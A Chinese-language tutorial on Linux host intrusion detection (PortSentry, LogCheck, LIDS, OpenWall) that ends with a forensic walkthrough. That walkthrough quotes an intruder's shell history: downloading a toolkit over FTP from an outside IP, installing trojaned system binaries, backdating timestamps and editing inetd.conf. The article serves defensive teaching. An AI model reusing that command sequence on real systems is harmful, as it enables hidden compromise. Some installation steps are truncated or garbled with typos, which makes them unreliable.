這篇文章主要是關(guān)于適用于Linux的幾種基于主機(jī)的入侵檢測系統(tǒng)。特別的,我們將會(huì)覆
蓋一些怎么安裝這些軟件包的要素,已經(jīng)它們的用處和什么時(shí)候能夠用到這些東西。
系統(tǒng)安全101
本文將為大家展示一些基礎(chǔ)的系統(tǒng)安全知識(shí)。特別的,我假設(shè)很多常見的安全措施已經(jīng)
被用來抵抗來自Internet對主機(jī)的入侵。這些安全措施主要是:
防火墻,確定了系統(tǒng)的來自Internet的用戶對哪些TCP或者UDP端口有訪問的權(quán)限。例如
:我們通過一些很簡單的Web Server防火墻的規(guī)則設(shè)置,就可以確定這臺(tái)機(jī)器只有用來
提供http服務(wù)的80端口向用戶開放。
系統(tǒng)是不需要沒有用處的守護(hù)進(jìn)程的。例如:一個(gè)Web服務(wù)器一般只需要一個(gè)正在運(yùn)行的
進(jìn)程來服務(wù)Web頁面。進(jìn)程并不是就是和服務(wù)與Web頁面相關(guān)聯(lián)的,譬如RPC/Portmap服務(wù)
,NFS服務(wù),X Font服務(wù),DNS域名服務(wù),其他外來的或者是沒有什么用處的應(yīng)用軟件應(yīng)
該被關(guān)掉或者是禁用。在Red Hat Linux的系統(tǒng)中,通常我們用一種運(yùn)行等級的編輯器來
進(jìn)行有關(guān)的設(shè)置,譬如我們可以用ntsysv 或者tksysv來禁用其中的那些沒有要求的守護(hù)
進(jìn)程。
通過編輯和修改/etc/inetd.conf可以屏蔽一些不用的端口。作為一個(gè)典型的默認(rèn)值,我
們安裝一個(gè)新的Linux系統(tǒng)的時(shí)候,/etc/inetd.conf默認(rèn)的打開了很多端口。所有的系
統(tǒng)都應(yīng)該通過編輯/etc/inetd.conf,刪除或者是注釋掉其中的一些行,用來禁用那些沒
有用處的端口,這是最基本的系統(tǒng)安全行為。
警戒線(Lines of Defense):
圖解一、多層系統(tǒng)安全
這一部分,我們將討論一個(gè)多層通道的系統(tǒng)安全問題。當(dāng)其中一些安全層被破壞的時(shí)候
,很多安全層能夠獨(dú)立的應(yīng)用來提供一些額外的防衛(wèi)。圖1就是一種多層結(jié)構(gòu)的系統(tǒng)安全
模型。
圖表中的每一層都會(huì)為自己的上一層提供額外的數(shù)據(jù)保護(hù)。例如:第一層是防火墻,如
果防火墻沒有阻擋住外界的入侵嘗試,那么第二層-端口守護(hù)程序就會(huì)提供額外的保護(hù)。
進(jìn)一步,里面的安全系統(tǒng)是LIDS和LogCheck程序,在入侵嘗試沒有被第二層截獲的時(shí)候
也會(huì)進(jìn)行保護(hù)。
監(jiān)控當(dāng)前連接
防火墻后的第一防護(hù)層是用來監(jiān)控當(dāng)前與主機(jī)的連接嘗試的軟件包。端口守護(hù)程序包(
http://www.psionic.com/abacus/portsentry/ )提供了一些簡潔和有用方式來完成這些
事情。
端口守護(hù)(PortSentry)程序的作用
端口守護(hù)程序的主要作用監(jiān)控一些特殊的TCP/IP端口的活動(dòng)情況。PortSentry監(jiān)視并報(bào)
告一些端口的活動(dòng),其中的一種情況可能被選中,包括拒絕進(jìn)一步的連接嘗試。這是一
種很重要的防護(hù)措施,因?yàn)橐话愕暮诳驮谌肭忠粋€(gè)系統(tǒng)之前都會(huì)將會(huì)使用一些工具來探
測系統(tǒng)的漏洞和弱點(diǎn)。察覺到探測器或者是端口掃描,就可以徹底的切斷一些潛在地黑
客進(jìn)一步的連接嘗試,中止一些帶有入侵意圖的進(jìn)一步的端口掃描。
安裝PortSentry
對于Red Hat的用戶來說,Red Hat的ftp服務(wù)器上的RPM包里面包含了這個(gè)程序。這個(gè)站
點(diǎn)在全球都有它的鏡像,你可以在www.redhat.com上面查找距離你最近的站點(diǎn)。我還不
能確定.deb格式的軟件包中間是PortSentry這樣的程序,但是我可以確認(rèn)那里肯定是有
這個(gè)軟件的。對于其他Linux用戶來說,通過原碼來安裝這個(gè)軟件也是相當(dāng)?shù)睾唵蔚摹?BR>推薦配置
PortSentry有很多運(yùn)行模式,包括不同的UDP和TCP秘密運(yùn)行的模式。我選擇的運(yùn)行機(jī)制
是把PortSentry綁定在那些沒有被使用的或者是認(rèn)為有潛在的入侵可能的TCP端口上。例
如:我將24小時(shí)連續(xù)的掃描我的web服務(wù)器上面的這些端口,port 143 (imap2), port
111 (portmap) 和port 23 (telnet)都是我的Internet系統(tǒng)上沒有使用的TCP端口。你可
以通過這條命令:
portsentry -tcp
在你的系統(tǒng)啟動(dòng)的時(shí)候就使PortSentry進(jìn)入基本的TCP運(yùn)行模式。同時(shí)要保證PortSentr
y的配置文件portsentry.conf中包含了TCP_PORTS這行配置來掃描你需要進(jìn)行掃描的端口
。
反應(yīng)選項(xiàng)
你能通過portsentry.conf中的"Response Options"部分來詳細(xì)的說明什么樣的反應(yīng)是P
ortSentry察覺了一些不期望的連接。通常我會(huì)使用ipchains來中斷那些來自于連接的源
方的進(jìn)一步連接。這個(gè)也可以通過portsentry.conf中下面這樣一行來進(jìn)行配置:
KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
在接受來自高端口的掃描行為的時(shí)候,可以通過刪除上面一行中的-l這個(gè)選項(xiàng)來屏蔽這
些進(jìn)一步的連接,可以有效的維持系統(tǒng)日志空間。
監(jiān)視系統(tǒng)日志
諸如防火墻系統(tǒng)、PortSentry這樣的軟件可以有效的監(jiān)視或者是屏蔽一些端口的不期望
的連接。這樣可以防止最典型的那種"掃描-入侵"的攻擊方式。
當(dāng)系統(tǒng)需要運(yùn)行特殊的服務(wù)(例如:Apache Web Server,或者是綁定了一個(gè)DNS服務(wù))
的時(shí)候,同時(shí)有黑客破解了這種服務(wù)中的一些攻擊點(diǎn),這些程序就會(huì)很不幸運(yùn)的不能保
持把所有的入侵者拒之門外。綁定運(yùn)行著一個(gè)容易受攻擊的程序的DNS服務(wù)器,這些端口
最終總是要被一些黑客通過掃描很廣范圍的機(jī)器的特定的一個(gè)端口,并且會(huì)試圖通過這
個(gè)端口來入侵系統(tǒng)。很不幸,防火墻或者是PortSentry程序會(huì)將這些入侵嘗試當(dāng)作正常
的合理的連接。
系統(tǒng)日志檢測(LogCheck)
LogCheck是用來掃描系統(tǒng)日志文件的軟件(http://www.psionic.com/abacus/logcheck
/ )。LogCheck會(huì)掃描系統(tǒng)日志文件(在Linux系統(tǒng)中,系統(tǒng)日志文件在/var/log/目錄下
面),同時(shí)當(dāng)系統(tǒng)出現(xiàn)一些異常的時(shí)候,LogCheck就會(huì)通過Email來通報(bào)給管理員。系統(tǒng)
日志文件中的異常的消息通常是表示有一些黑客正在嘗試入侵或者是正在侵入系統(tǒng)。
安裝LogCheck
LogCheck有四個(gè)主要的配置文件。在RPM版本中,這幾個(gè)配置文件在/etc/logcheck目錄
下面。通常我們只需要配置logcheck.ignore和logcheck.violations.ignore這兩個(gè)文件
。我在安裝完LogCheck后的程序一般是這樣的:
允許LogCheck在正常的運(yùn)行模式下面運(yùn)行一次,這樣將會(huì)一個(gè)巨大的輸出文件,不過我
們可以把這個(gè)文件刪除算了。
24小時(shí)以后讓LogCheck再次運(yùn)行一次,這次我們會(huì)在日志文件的入口處中發(fā)現(xiàn)產(chǎn)生了一
些新的東西,同時(shí)也是一個(gè)很大的但是仍然可以計(jì)算大小的文件。仔細(xì)的閱讀這個(gè)文件
。
在文件的入口處有一些不需要我們關(guān)心的特定的字符串,如果這些字符串時(shí)一些"違反安
全"的片斷,我們可以將這些字符串片斷加入到logcheck.violations.ignore文件中;或
者當(dāng)他們是"異常系統(tǒng)事件"的時(shí)候,我們就將這些字符串加到logcheck.ignore中。
在折椅歌星期中,每隔12~24小時(shí)就重復(fù)一下這些步驟。在這個(gè)階段中,我們反復(fù)的設(shè)置
.ignore文件的過濾規(guī)則,最后剩下的就是我們的系統(tǒng)真正關(guān)心的了。
注意到RPM文件指定LogCheck每小時(shí)運(yùn)行一次,但是我只需要每天運(yùn)行一次,除非是在特
定的需要監(jiān)視的系統(tǒng)。這樣可以每天把/etc/cron.hourly/logcheck這個(gè)文件拷貝到/et
c/cron中一次。
基于內(nèi)核的入侵檢測
基于內(nèi)核的入侵檢測是一種相當(dāng)巧妙的新型的Linux入侵檢測系統(tǒng)。現(xiàn)在最主要的基于內(nèi)
核的入侵檢測系統(tǒng)叫做LIDS,并可以從http://www.lids.org/ 下載。
什么是LIDS?
LIDS是一種基于Linux內(nèi)核的入侵檢測和預(yù)防系統(tǒng)。
LIDS的保護(hù)目的是防止超級用戶root的篡改系統(tǒng)重要部分的。LIDS主要的特點(diǎn)是提高系
統(tǒng)的安全性,防止直接的端口連接或者是存儲(chǔ)器連接,防止原始磁碟的使用,同時(shí)還要
保護(hù)系統(tǒng)日志文件。LIDS當(dāng)然也會(huì)適當(dāng)制止一些特定的系統(tǒng)操作,譬如:安裝sniffer、
修改防火墻的配置文件。
LIDS文檔工程
LIDS比安裝PortSentry和LogCheck要復(fù)雜一點(diǎn),但是很幸運(yùn)的是,在LIDS的主頁上面有
詳細(xì)的安裝和配置手冊。
安裝LIDS
首先,在安裝之前,我們需要大部分最新的LIDS軟件包(我使用的是0.9)和適當(dāng)?shù)膬?nèi)核
版本。我現(xiàn)在使用的是從Red Hat主頁上下載的2.2.14-12版本的內(nèi)核,因?yàn)槠渲邪?BR>些安全補(bǔ)丁。同時(shí)你也需要你使用的內(nèi)核的一些源代碼。
現(xiàn)在的LIDS主要是適用于2.2.14版本的內(nèi)核。我安裝的在2.2.14的內(nèi)核的Red Hat Linu
x6.2上面安裝了LIDS。在安裝LIDS之前,我在ftp.redhat.com下載了最新的內(nèi)核版本,
并且依照http://www.redhat.com/support/docs/...de/kernel-upgra
de.html 安裝了這個(gè)內(nèi)核。
接著的事情就是升級內(nèi)核源代碼。這里我們是這樣做的:
rpm -Uhv kernel-source-2.2.14-12.i386.rpm
然后就是編譯和安裝lidsadm這個(gè)程序:
cd /usr/local/src/security/lids-0.9/lidsadm-0.9
make
make install
生成一個(gè)RipeMD-160口令,這個(gè)以后將會(huì)在安裝進(jìn)內(nèi)核的:
lidsadm -P
輸入口令是"anypass",得到秘鑰"d502d92bfead11d1ef17887c9db07a78108859e8"。
接著,我把Redhat的配置文件拷貝到我的結(jié)構(gòu)體系中,在/usr/src/linux目錄下面:
cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我們就使用下面的命令來安裝LIDS:
cd /usr/src
patch -p0 同時(shí)我們應(yīng)該注意到Red Hat所提供的內(nèi)核和Linus發(fā)布的標(biāo)準(zhǔn)的2.2.14版本的內(nèi)核有一
些細(xì)微的差別,因?yàn)槠渲邪恍┬薷倪^的驅(qū)動(dòng)程序。同樣lids-0.9-2.2.14-redhat.p
atch文件也是和LIDS發(fā)布的標(biāo)準(zhǔn)的lids-0.9-2.2.14.patch有一些細(xì)微的差別,不過可能
后者并不是特別適合于Red Hat系統(tǒng)。
最后,就是配置、編譯和安裝內(nèi)核了:
cd /usr/src/linux
make menuconfig
make dep; make clean
make
install; make modules; make modules_install
下面的腳本展示了在配置內(nèi)核的過程中我設(shè)置的LIDS配置選項(xiàng):
--- LIDS features
[ ] Hang up console when raising a securit alert
[ ] Do not execute unprotected programs before sealing LIDS
(60) Authorised time between two identic logs (seconds)
RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
(3) Number of attempts to submit password
(3) Time to wait after a fail (seconds)
[ ] Allow any program to switch LIDS protections
[ ] Hide some known processes
[ ] Send security alerts through network
--- Special authorizations
[ ] Allow some known processes to access /dev/mem (xfree, etc.)
[ ] Allow some known processes to access raw disk devices
[ ] Allow some known processes to access io ports
[ ] Allow some known processes to change routes
--- Special UPS
Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
Allowed processes: "/etc/rc.d/init.d/halt"
看得出,我沒有使用UPS,同時(shí)運(yùn)行的是一個(gè)需要能夠遠(yuǎn)程訪問的服務(wù)器,我就按照上面
的文件進(jìn)行了配置,但是在實(shí)際應(yīng)用過程中,每個(gè)人的系統(tǒng)根據(jù)環(huán)境不一樣,會(huì)有一些
差別。
配置LIDS:
有一條特別要引起注意:在你的系統(tǒng)的下一次重啟之前就應(yīng)該配置好LIDS!
我們應(yīng)該使用lidsam來配置LIDS的配置文件/etc/lids.conf,而不能手動(dòng)的修改。運(yùn)行
"lidsadm -h"可以獲得一些關(guān)于如何使用lidsadm這個(gè)程序的幫助。LIDS提供了很多使用
LIDS保護(hù)文件的例子,例如:
lidsadm -A -r /sbin 這條命令保護(hù)/sbin整個(gè)目錄,并且表示只讀。
我首先的LIDS配置文件應(yīng)該是這樣的:
lidsadm -Z
lidsadm -A -r /usr/bin
lidsadm -A -r /bin
lidsadm -A -r /usr/sbin
lidsadm -A -r /sbin
lidsadm -A -r /usr/X11R6/bin
lidsadm -A -r /etc/rc.d
lidsadm -A -r /etc/sysconfig
一旦配置了LIDS的配置文件,就應(yīng)該修改系統(tǒng)的啟動(dòng)文件保證在系統(tǒng)啟動(dòng)的時(shí)候就能運(yùn)
行LIDS,這樣就能有效的在內(nèi)核中啟動(dòng)LIDS的作用。一般我都是把lidsadm加到/etc/rc
.d/rc.local的末尾,這樣能夠保證LIDS的功能不會(huì)妨礙系統(tǒng)的其他應(yīng)用程序的正常啟動(dòng)
。下面就是我加在/etc/rc/d/rc.local中用來啟動(dòng)LIDS的腳本:
/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN \
-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE \
+INIT_CHILDREN_LOCK
配置lilo
我們知道,使用Redhat的RPMS升級系統(tǒng)內(nèi)核以后需要重新配置lilo.conf來保證編譯加載
過LIDS的新內(nèi)核能夠正常的啟動(dòng)。在下次重啟之后,LIDS將會(huì)在系統(tǒng)中運(yùn)行,不過如果
你需要停止LIDS而執(zhí)行一些系統(tǒng)的任務(wù),就應(yīng)該按照下面的命令進(jìn)行:
/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
你需要提供LIDS的口令,當(dāng)時(shí)在編譯內(nèi)核的時(shí)候在內(nèi)核中加入了RipeMD-160格式。
不知道你是否注意到了,在shutdown的腳本中,很多腳本都不能正常的工作。最終的sh
utdown腳本/etc/rc.d/init.d/halt將會(huì)停止所有的進(jìn)程和卸載文件系統(tǒng)。由于在文件r
c.local中 "+INIT_CHILDREN_LOCK"的保護(hù)作用,其他的進(jìn)程都沒有權(quán)限來殺掉init()的
其他子進(jìn)程。同時(shí)每隔10分鐘,你就會(huì)收到一個(gè)關(guān)于"rmmod \as"不能卸載模塊的出錯(cuò)信
息。這個(gè)主要是由于LIDS啟動(dòng)以后"-CAP_SYS_MODULE"的保護(hù)使得模塊的插入或者卸載出
現(xiàn)了毛病。我們可以刪除/etc/cron.d/kmod這個(gè)文件來防止出錯(cuò)信息繼續(xù)發(fā)生。
LIDS能夠保護(hù)什么?
快速的瀏覽LIDS的文檔就可以了解LIDS的一系列特性。而我認(rèn)為下面的這些特性是最重
要的:
CAP_LINUX_IMMUTABLE 當(dāng)文件和外那間系統(tǒng)被標(biāo)識(shí)"immutable"防止被寫;
CAP_NET_ADMIN 防止篡改網(wǎng)絡(luò)配置(例如:防止路由表被修改);
CAP_SYS_MODULE 防止內(nèi)核模塊被插入或者移除;
CAP_SYS_RAWIO 防止損壞磁盤或者設(shè)備I/O;
CAP_SYS_ADMIN 防止大范圍的使用其他系統(tǒng)功能;
INIT_CHILDREN_LOCK which prevents child processes of the init() master pro
cess from being tampered with.
無論在哪個(gè)點(diǎn),上面這些特性都能夠通過命令"lidsadm -I"來啟動(dòng),通過"lidsadm -S"
來禁用(可以允許真正的系統(tǒng)管理員來進(jìn)行系統(tǒng)配置),同時(shí)提供已經(jīng)安裝在內(nèi)核中的
LIDS口令(是通過RipeMD-160加密的)。
剖析一次入侵
最近我一直忙于檢查一些被黑過的機(jī)器,來推斷一些被入侵的原因還有核實(shí)黑客對系統(tǒng)
破壞。很幸運(yùn),一些黑客不是特別的聰明,在入侵一些系統(tǒng)之后沒有設(shè)法徹底的抹掉痕
跡。當(dāng)黑客把一些系統(tǒng)守護(hù)進(jìn)程的緩沖區(qū)溢出以后就可以獲得root權(quán)限,這個(gè)時(shí)候就是
主機(jī)被入侵了(事實(shí)上是不可能發(fā)生的,但是安裝Linux系統(tǒng)的人忘記了打上RedHat最新
的關(guān)于緩沖區(qū)溢出的補(bǔ)丁程序,并且讓系統(tǒng)一直運(yùn)行著)。當(dāng)然一些黑客也不夠小心,
當(dāng)他們侵入主機(jī)后,很急切的獲得了shell,但是他們經(jīng)常沒有考慮到BASH的命令將會(huì)被
存入系統(tǒng)日志文件中,簡單的閱讀/.bash_history就可以了解黑客到底怎么機(jī)器上面作
了一些什么事情。這個(gè)文件我們可以看看(為了更加簡單我們做過一些細(xì)微的修改):
mkdir /usr/lib/... ; cd /usr/lib/...
ftp 200.192.58.201 21
cd /usr/lib/...
mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
mv tcpd.gz? tcpd.gz
gzip -d *
chmod +x *
mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
mv pt07 /usr/lib/; mv pstree /usr/bin ;
/usr/lib/pt07
touch -t 199910122110 /usr/lib/pt07
touch -t 199910122110 /usr/sbin/syslogd
touch -t 199910122110 /usr/sbin/tcpd
touch -t 199910122110 /bin/ps
touch -t 199910122110 /bin/netstat
touch -t 199910122110 /usr/bin/pstree
cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
mv /tmp/b /etc/inetd.conf
killall -HUP inetd
通讀這些內(nèi)容,我們就可以了解下面的一些動(dòng)作:
系統(tǒng)中建立了一個(gè)名字異常的目錄(/usr/lib),接著黑客telnet到了自己的主機(jī)上面
(200.192.58.201,是Brazil某個(gè)地方的撥號(hào)用戶),同時(shí)下載了一套黑客工具。這些
黑客工具尸沒有經(jīng)過壓縮的,中間的一些特洛伊二進(jìn)制程序被安裝到了系統(tǒng)中了,這些
特洛亦程序覆蓋了系統(tǒng)的netstat,ps, tcpd, syslogd和pstree命令。這些程序是用
來報(bào)告系統(tǒng)有那些進(jìn)程正在運(yùn)行,那些端口是打開的。
我們從中能學(xué)到什么呢?
首先,LIDS是不能阻止一次入侵的,黑客連接上主機(jī)通過緩沖區(qū)溢出的方式獲得系統(tǒng)的
root權(quán)限。
一旦系統(tǒng)沒有黑客入侵,我們看看LIDS是如何使破壞降到最低的:
LIDS通過CAP_LINUX_IMMUTABLE選項(xiàng)可以防止特洛亦程序被寫入到/bin,/usr/bin, /u
sr/sbin和/usr/lib目錄中。這些目錄我們一般都會(huì)標(biāo)識(shí)為不可變的(chattr +i),因
而也不會(huì)被修改。我們可以注意到,就算不使用LIDS,也可以通過chattr +I命令來標(biāo)識(shí)
目錄為不可變的,但是如果是通過LIDS以后,即使是root也不能篡改不可變標(biāo)識(shí)位。類
似的,如果文件通過chattr +I被標(biāo)識(shí)為,touck -t這個(gè)命令也會(huì)失敗。甚至第一行的"
mkdir /etc/lib"這個(gè)命令也會(huì)失敗,如果我們標(biāo)識(shí)文件為不可讀的話。
LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后進(jìn)行很大的系統(tǒng)破壞。一個(gè)
后門程序可以被安裝上系統(tǒng),但是沒有特洛亦版本的ps,netstat和pstree能夠很早的發(fā)
現(xiàn)這個(gè)后門進(jìn)程,然后kill之。如果沒有LIDS,我們不可能知道黑客通過這個(gè)后門程序
會(huì)做一些什么事情,我們唯一能夠進(jìn)行挽回的工作就是重裝系統(tǒng)。
OpenWall和LIDS:額外的層
另外一個(gè)和LIDS相似的系統(tǒng)是OpenWall工程(http://www.openwall.com/linux/ )。Op
enWall工程在很多地方和LIDS不一樣,有一個(gè)OpenWall的特別的補(bǔ)丁就是使棧區(qū)為不可
執(zhí)行。下面是摘自O(shè)penWall的README文檔里面的申明:
大多數(shù)緩沖區(qū)溢出攻擊都是基于覆蓋一些隨意的程序片段中的函數(shù)返回值在堆棧中的地
址,如果堆棧為不可執(zhí)行,那么緩沖區(qū)溢出的弱點(diǎn)將會(huì)變得很難攻擊。另外一種緩沖區(qū)
溢出的方式是在libc中指出一個(gè)函數(shù)的返回地址,通常是system()。這個(gè)補(bǔ)丁通過修改
mmap()化的共享庫,使其總是一個(gè)零字節(jié)的文件。這樣使其不能再指定一些數(shù)據(jù),在很
多攻擊中不得不使用ASCIIZ字符串。
最近,在LIDS的網(wǎng)上上有一些完整的LIDS+OpenWall的內(nèi)核補(bǔ)丁,這樣可以提供LIDS和
OpenWall都具備的特性。
總結(jié)
在Linux系統(tǒng)中,通過使用這一系列的多層的安全措施,可以防止很大范圍的攻擊,同時(shí)
還可以防止入侵或者篡改。系統(tǒng)被黑客入侵口就是網(wǎng)絡(luò)接口,在網(wǎng)絡(luò)接口,系統(tǒng)內(nèi)核上
我們都可以防止他人的入侵。
意識(shí)到系統(tǒng)中的一些潛在的安全漏洞。任何運(yùn)行在系統(tǒng)上的守護(hù)進(jìn)程或者服務(wù),不管是
root用戶還是非root用戶運(yùn)行的,都能夠成為一個(gè)潛在的安全威脅。充分準(zhǔn)備好面對這
些威脅